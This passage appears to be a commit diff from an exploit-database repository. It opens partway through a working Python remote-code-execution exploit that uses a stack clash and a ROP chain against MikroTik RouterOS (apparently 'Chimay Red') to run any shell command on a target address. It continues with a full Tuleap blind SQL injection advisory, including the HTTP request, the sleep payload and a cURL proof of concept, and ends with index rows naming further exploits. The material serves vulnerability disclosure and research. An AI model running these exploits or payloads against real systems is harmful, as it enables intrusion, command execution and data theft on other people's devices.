ret_gadget = gadgets['p']
|
||||
elif num_arg == 2:
|
||||
ret_gadget = gadgets['pp']
|
||||
elif num_arg == 3:
|
||||
ret_gadget = gadgets['ppp']
|
||||
elif num_arg == 4:
|
||||
ret_gadget = gadgets['pppp']
|
||||
else:
|
||||
raise
|
||||
|
||||
payload += struct.pack('<L', ret_gadget)
|
||||
|
||||
for arg in arguments:
|
||||
payload += struct.pack('<L', arg)
|
||||
|
||||
return payload
|
||||
|
||||
# pwntools filters out JOP gadgets
|
||||
# https://github.com/Gallopsled/pwntools/blob/5d537a6189be5131e63144e20556302606c5895e/pwnlib/rop/rop.py#L1074
|
||||
def ropSearchJmp(elf, instruction):
|
||||
oldargv = sys.argv
|
||||
sys.argv = ['ropgadget', '--binary', elf.path, '--only', 'jmp']
|
||||
args = ropgadget.args.Args().getArgs()
|
||||
core = ropgadget.core.Core(args)
|
||||
core.do_binary(elf.path)
|
||||
core.do_load(0)
|
||||
|
||||
sys.argv = oldargv
|
||||
|
||||
for gadget in core._Core__gadgets:
|
||||
address = gadget['vaddr'] - elf.load_addr + elf.address
|
||||
if gadget['gadget'] == instruction:
|
||||
return address
|
||||
|
||||
raise
|
||||
|
||||
def loadOffsets(binary, shellCmd):
|
||||
elf = ELF(binary)
|
||||
rop = ROP(elf)
|
||||
|
||||
if len([_ for _ in elf.search("pthread_attr_setstacksize")]) > 0:
|
||||
global AST_STACKSIZE
|
||||
AST_STACKSIZE = ROS_STACKSIZE
|
||||
|
||||
# www PLT symbols
|
||||
plt["strncpy"] = elf.plt['strncpy']
|
||||
plt["dlsym"] = elf.plt['dlsym']
|
||||
|
||||
# Gadgets to clean the stack from arguments
|
||||
gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
|
||||
gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
|
||||
gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
|
||||
gadgets['p'] = rop.search(regs=["ebp"]).address
|
||||
|
||||
# Gadget to jump on the result of dlsym (address of system)
|
||||
gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")
|
||||
|
||||
system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
|
||||
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))
|
||||
|
||||
# get the address of the first writable segment to store strings
|
||||
writable_address = elf.writable_segments[0].header.p_paddr
|
||||
|
||||
strings['system'] = writable_address
|
||||
strings['cmd'] = writable_address + 0xf
|
||||
|
||||
def generateStrncpyChain(dst, chunks):
|
||||
chain = ""
|
||||
offset = 0
|
||||
for (address, length) in chunks:
|
||||
chain += ropCall(plt["strncpy"], dst + offset, address, length)
|
||||
offset += length
|
||||
|
||||
return chain
|
||||
|
||||
# only search for single chars
|
||||
def searchStringChunksLazy(elf, string):
|
||||
chunks = []
|
||||
for b in string:
|
||||
res = [_ for _ in elf.search(b)]
|
||||
if len(res) > 0:
|
||||
chunks.append((res[0], 1))
|
||||
else:
|
||||
raise
|
||||
|
||||
if len(string) != len(chunks):
|
||||
raise
|
||||
|
||||
return chunks
|
||||
|
||||
# [bugged, some problem with dots, not used]
|
||||
# search chunks of string
|
||||
def searchStringChunks(elf, string):
|
||||
chunks = []
|
||||
total = len(string)
|
||||
|
||||
if string == "":
|
||||
raise
|
||||
|
||||
looking = string
|
||||
|
||||
while string != "":
|
||||
results = [_ for _ in elf.search(looking)]
|
||||
|
||||
if len(results) > 0:
|
||||
chunks.append((results[0], len(looking)))
|
||||
string = string[len(looking):]
|
||||
looking = string
|
||||
else: # search failed
|
||||
looking = looking[:-1] # search again removing last char
|
||||
|
||||
check_length = 0
|
||||
for (address, length) in chunks:
|
||||
check_length = check_length + length
|
||||
|
||||
if check_length == total:
|
||||
return chunks
|
||||
else:
|
||||
raise
|
||||
|
||||
def buildROP(binary, shellCmd):
|
||||
loadOffsets(binary, shellCmd)
|
||||
|
||||
# ROP chain
|
||||
exploit = generateStrncpyChain(strings['system'], system_chunks) # w_segment = "system"
|
||||
exploit += generateStrncpyChain(strings['cmd'], cmd_chunks) # w_segment = "bash cmd"
|
||||
exploit += ropCall(plt["dlsym"], 0, strings['system']) # dlsym(0, "system"), eax = libc.system
|
||||
exploit += ropCall(gadgets['jeax'], strings['cmd']) # system("cmd")
|
||||
|
||||
# The server is automatically restarted after 3 secs, so we make it crash with a random address
|
||||
exploit += struct.pack('<L', 0x13371337)
|
||||
|
||||
return exploit
|
||||
|
||||
def stackClash(ip, port, ropChain):
|
||||
|
||||
print("Opening 2 sockets")
|
||||
|
||||
# 1) Start 2 threads
|
||||
# open 2 socket so 2 threads are created
|
||||
s1 = makeSocket(ip, port) # socket 1, thread A
|
||||
s2 = makeSocket(ip, port) # socket 2, thread B
|
||||
|
||||
print("Stack clash...")
|
||||
|
||||
# 2) Stack Clash
|
||||
# 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A)
|
||||
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here)
|
||||
|
||||
# 2.2) send some bytes as post data to socket 1 (thread A)
|
||||
socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved
|
||||
|
||||
# 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B)
|
||||
socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned
|
||||
|
||||
print("Sending payload")
|
||||
|
||||
# 3) Send ROP chain
|
||||
socketSend(s1, ropChain) # thread A writes the ROP chain in the stack of thread B
|
||||
|
||||
print("Starting exploit")
|
||||
|
||||
# 4) Start ROP chain
|
||||
s2.close() # close socket 2 to return from the function of thread B and start ROP chain
|
||||
|
||||
print("Done!")
|
||||
|
||||
def crash(ip, port):
|
||||
print("Crash...")
|
||||
s = makeSocket(ip, port)
|
||||
socketSend(s, makeHeader(-1))
|
||||
socketSend(s, b'A' * 0x1000)
|
||||
s.close()
|
||||
time.sleep(2.5) # www takes up to 3 seconds to restart
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) == 5:
|
||||
ip = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
binary = sys.argv[3]
|
||||
shellCmd = sys.argv[4]
|
||||
|
||||
print("Building ROP chain...")
|
||||
ropChain = buildROP(binary, shellCmd)
|
||||
print("The ROP chain is " + str(len(ropChain)) + " bytes long (" + str(ROP_SPACE) + " bytes available)")
|
||||
|
||||
crash(ip, port) # should make stack clash more reliable
|
||||
stackClash(ip, port, ropChain)
|
||||
else:
|
||||
print("Usage: ./StackClashROPsystem.py IP PORT binary shellcommand")
|
|
@ -35,7 +35,7 @@ Steps to Reproduce:
|
|||
|
||||
1. Login with a valid credentials of an Editor
|
||||
2. Select Files option from the Drop-down menu of Content
|
||||
3. Upload a file with PHP (uppercase)extension containing the below code:
|
||||
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)
|
||||
|
||||
<?php
|
||||
|
||||
|
|
110
exploits/php/webapps/44286.txt
Normal file
110
exploits/php/webapps/44286.txt
Normal file
|
@ -0,0 +1,110 @@
|
|||
===============================================================================
|
||||
title: Tuleap SQL Injection
|
||||
case id: CM-2018-01
|
||||
product: Tuleap version 9.17.99.189
|
||||
vulnerability type: Blind SQL injection - time based
|
||||
severity: High
|
||||
found: 2018-02-24
|
||||
by: Cristiano Maruti (@cmaruti)
|
||||
===============================================================================
|
||||
|
||||
[EXECUTIVE SUMMARY]
|
||||
|
||||
Enalean Tuleap is a project management system for application lifecycles
|
||||
management, agile development and design projects, requirement management, IT
|
||||
services management, and so on. The analysis discovered a time-based blind SQL
|
||||
injection vulnerability (OTG-INPVAL-005) in the tracker functionality of
|
||||
Tuleap software engineering platform. A malicious user can inject arbitrary
|
||||
SQL commands to the application. The vulnerability lies in the project tracker
|
||||
service search functionality; depending on project visibility successful
|
||||
exploitation may or may not require user authentication. A successful attack
|
||||
can read, modify or delete data from the database or, depending on the
|
||||
privilege of the user (default: restricted) and the database engine in use
|
||||
(default: MySQL), execute arbitrary commands on the underlying system.
|
||||
|
||||
[VULNERABLE VERSIONS]
|
||||
|
||||
The following version of the Tuleap software was affected by the
|
||||
vulnerability; previous versions may be vulnerable as well:
|
||||
- Tuleap version 9.17.99.189
|
||||
|
||||
[TECHNICAL DETAILS]
|
||||
|
||||
It is possible to reproduce the vulnerability following these steps:
|
||||
1. Open the tracker service in a publicly visible project
|
||||
2. Leave all the fields empty and submit the search form while logging the
|
||||
request with the help of an application proxy like Burp or ZAP
|
||||
3. Copy the previous request and edit the "criteria[499][values][]" field in
|
||||
the request body with the "(select(0)from(select(sleep(3)))a)/**/" payload
|
||||
4. Send the request to the application
|
||||
5. Application will respond with a three second delay
|
||||
|
||||
Below a full transcript of the HTTP request used to raise the vulnerability
|
||||
and also a cURL one liner to highlight the induced delay in the application
|
||||
response.
|
||||
|
||||
HTTP Request
|
||||
-------------------------------------------------------------------------------
|
||||
POST /plugins/tracker/?tracker=16 HTTP/1.1
|
||||
Host: 192.168.137.130
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: https://192.168.137.130/plugins/tracker/?tracker=16
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 278
|
||||
Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
|
||||
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
|
||||
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
|
||||
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
|
||||
-------------------------------------------------------------------------------
|
||||
cURL PoC
|
||||
-------------------------------------------------------------------------------
|
||||
# time curl -k -X POST -d @sql.txt -H 'Cookie: __Host-TULEAP_PHPSESSID=<VALID>'
|
||||
https://192.168.137.130/plugins/tracker/?tracker=16
|
||||
|
||||
[OUTPUT TRUNCATED]
|
||||
</script> </body>
|
||||
</html>
|
||||
real 0m3.117s
|
||||
user 0m0.033s
|
||||
sys 0m0.021s
|
||||
|
||||
# cat sql.txt
|
||||
report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D=
|
||||
&criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D=
|
||||
&criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/
|
||||
&additional_criteria%5Bcomment%5D=&tracker_query_submit=
|
||||
-------------------------------------------------------------------------------
|
||||
A copy of the report with technical details about the vulnerability I have
|
||||
identified is available at:
|
||||
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
|
||||
|
||||
[VULNERABILITY REFERENCE]
|
||||
|
||||
The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538
|
||||
|
||||
[DISCLOSURE TIMELINE]
|
||||
|
||||
2018-02-26 Vulnerability submitted to vendor through e-mail.
|
||||
Vendor requested
|
||||
more info and acknowledged the problem later.
|
||||
2018-02-27 Researcher requested to allocate a CVE number.
|
||||
2018-02-27 Vendor released a fix for the reported issue.
|
||||
2018-03-08 Researcher requested to publicly disclose the issue; public
|
||||
coordinated disclosure.
|
||||
|
||||
[SOLUTION]
|
||||
|
||||
Enalean released an update to fix the vulnerability (Tuleap 9.18 or later).
|
||||
Please see the below link for further information released by the vendor:
|
||||
- https://tuleap.net/plugins/tracker/?aid=11192
|
||||
|
||||
[REPORT URL]
|
||||
|
||||
https://github.com/cmaruti/reports/blob/master/tuleap.pdf
|
|
@ -9588,6 +9588,7 @@ id,file,description,date,author,type,platform,port
|
|||
44269,exploits/windows/local/44269.txt,"Chrome 35.0.1916.153 - Sandbox Escape / Command Execution",2017-10-14,649,local,windows,
|
||||
44270,exploits/windows/local/44270.txt,"WebLog Expert Enterprise 9.4 - Authentication Bypass",2018-03-09,hyp3rlinx,local,windows,
|
||||
44279,exploits/linux/local/44279.py,"SC 7.16 - Stack-Based Buffer Overflow",2018-03-12,"Juan Sacco",local,linux,
|
||||
44282,exploits/hardware/local/44282.txt,"Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)",2018-03-10,qwertyoruiop,local,hardware,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -10596,7 +10597,7 @@ id,file,description,date,author,type,platform,port
|
|||
6328,exploits/solaris/remote/6328.c,"Sun Solaris 10 - snoop(1M) Utility Remote Command Execution",2008-08-29,Andi,remote,solaris,
|
||||
6334,exploits/windows/remote/6334.html,"Friendly Technologies - Read/Write Registry/Read Files",2008-08-30,spdr,remote,windows,
|
||||
6355,exploits/windows/remote/6355.txt,"Google Chrome 0.2.149.27 - Automatic File Download",2008-09-03,nerex,remote,windows,
|
||||
6366,exploits/hardware/remote/6366.c,"MicroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
|
||||
6366,exploits/hardware/remote/6366.c,"MikroTik RouterOS 3.13 - SNMP write (Set request)",2008-09-05,ShadOS,remote,hardware,
|
||||
6367,exploits/windows/remote/6367.txt,"Google Chrome 0.2.149.27 - 'SaveAs' Remote Buffer Overflow",2008-09-05,SVRT,remote,windows,
|
||||
6387,exploits/windows/remote/6387.rb,"CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)",2008-09-05,"Kevin Finisterre",remote,windows,2022
|
||||
6407,exploits/windows/remote/6407.c,"Microworld Mailscan 5.6.a - Password Reveal",2008-09-09,SlaYeR,remote,windows,
|
||||
|
@ -14294,7 +14295,7 @@ id,file,description,date,author,type,platform,port
|
|||
27630,exploits/linux/remote/27630.txt,"Plone 2.x - MembershipTool Access Control Bypass",2006-04-12,MJ0011,remote,linux,
|
||||
27636,exploits/multiple/remote/27636.txt,"Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
|
||||
27637,exploits/multiple/remote/27637.txt,"Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting",2006-04-13,"Tan Chew Keong",remote,multiple,
|
||||
28056,exploits/hardware/remote/28056.txt,"Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
|
||||
28056,exploits/hardware/remote/28056.txt,"MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption",2013-09-03,kingcope,remote,hardware,
|
||||
27703,exploits/windows/remote/27703.py,"PCMan FTP Server 2.07 - 'STOR' Remote Buffer Overflow",2013-08-19,Polunchis,remote,windows,
|
||||
27704,exploits/windows/remote/27704.rb,"Cogent DataHub - HTTP Server Buffer Overflow (Metasploit)",2013-08-19,Metasploit,remote,windows,
|
||||
27705,exploits/multiple/remote/27705.rb,"Java - 'storeImageArray()' Invalid Array Indexing (Metasploit)",2013-08-19,Metasploit,remote,multiple,
|
||||
|
@ -16321,6 +16322,8 @@ id,file,description,date,author,type,platform,port
|
|||
44245,exploits/hardware/remote/44245.rb,"NETGEAR - 'TelnetEnable' Magic Packet (Metasploit)",2018-03-05,Metasploit,remote,hardware,23
|
||||
44253,exploits/hardware/remote/44253.py,"Tenda AC15 Router - Unauthenticated Remote Code Execution",2018-02-14,"Tim Carrington",remote,hardware,
|
||||
44280,exploits/multiple/remote/44280.rb,"Eclipse Equinoxe OSGi Console - Command Execution (Metasploit)",2018-03-12,Metasploit,remote,multiple,
|
||||
44283,exploits/hardware/remote/44283.py,"MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
|
||||
44284,exploits/hardware/remote/44284.py,"MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
@ -38995,3 +38998,5 @@ id,file,description,date,author,type,platform,port
|
|||
44277,exploits/php/webapps/44277.txt,"TextPattern 4.6.2 - 'qty' SQL Injection",2018-03-12,"Manuel García Cárdenas",webapps,php,
|
||||
44278,exploits/windows/webapps/44278.py,"Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution",2018-03-12,"Chris Lyne",webapps,windows,
|
||||
44281,exploits/windows/webapps/44281.txt,"ACL Analytics 11.X - 13.0.0.579 - Arbitrary Code Execution",2018-03-12,Clutchisback1,webapps,windows,
|
||||
44285,exploits/aspx/webapps/44285.txt,"SecurEnvoy SecurMail 9.1.501 - Multiple Vulnerabilities",2018-03-13,"SEC Consult",webapps,aspx,
|
||||
44286,exploits/php/webapps/44286.txt,"Tuleap 9.17.99.189 - Blind SQL Injection",2018-03-13,"Cristiano Maruti",webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue